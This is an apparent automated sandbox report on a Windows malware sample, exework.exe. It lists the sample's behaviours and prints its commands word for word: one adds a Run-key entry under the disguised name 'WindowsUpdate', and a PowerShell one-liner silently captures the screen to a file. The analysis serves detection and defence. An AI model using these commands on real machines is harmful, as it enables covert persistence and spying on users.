Overview

overview

7

Static

static

3

exework.exe

windows10-2004-x64

7

Analysis

  • user interaction
    yes
  • max time kernel
    159s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/09/2026, 07:14

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    exework.exe
  • Size 6.9MB
  • Sample260907-h2w75afd97
  • SHA256 58965694d7588825e1b62d0d6d6650e3db7d7153f46779ba11f20c01464aefcc
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
executionpersistence

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\exework.exe
    "C:\Users\Admin\AppData\Local\Temp\exework.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4140
    • C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\WindowsUpdate.exe /f
      2⤵
      • Adds Run key to start application
      • Modifies registry key
      PID:3520
    • C:\Users\Admin\AppData\Roaming\Microsoft\WindowsUpdate.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\WindowsUpdate.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2332
      • C:\Windows\system32\cmd.exe
        cmd /C help
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2856
        • C:\Windows\system32\help.exe
          help
          4⤵
            PID:1780
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bmp = New-Object System.Drawing.Bitmap $b.Width, $b.Height; $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $p = \"$env:TEMP\shot.png\"; $bmp.Save($p); Write-Output $p"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3984
        • C:\Windows\system32\cmd.exe
          cmd /C stewal
          3⤵
          • Executes a command shell one-liner
          PID:2588

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          __PSScriptPolicyTest_zckjebu5.gug.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zckjebu5.gug.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          shot.png
          • Path C:\Users\Admin\AppData\Local\Temp\shot.png
          • Size 330KB
          • SHA256 e800651eee51501e2240af2029092cf7cc861fb0a50c9eb1d76d983c0b146a55
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          WindowsUpdate.exe
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\WindowsUpdate.exe
          • Size 6.9MB
          • SHA256 58965694d7588825e1b62d0d6d6650e3db7d7153f46779ba11f20c01464aefcc
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/3984-10-0x000002CFD30E0000-0x000002CFD3102000-memory.dmp
          Download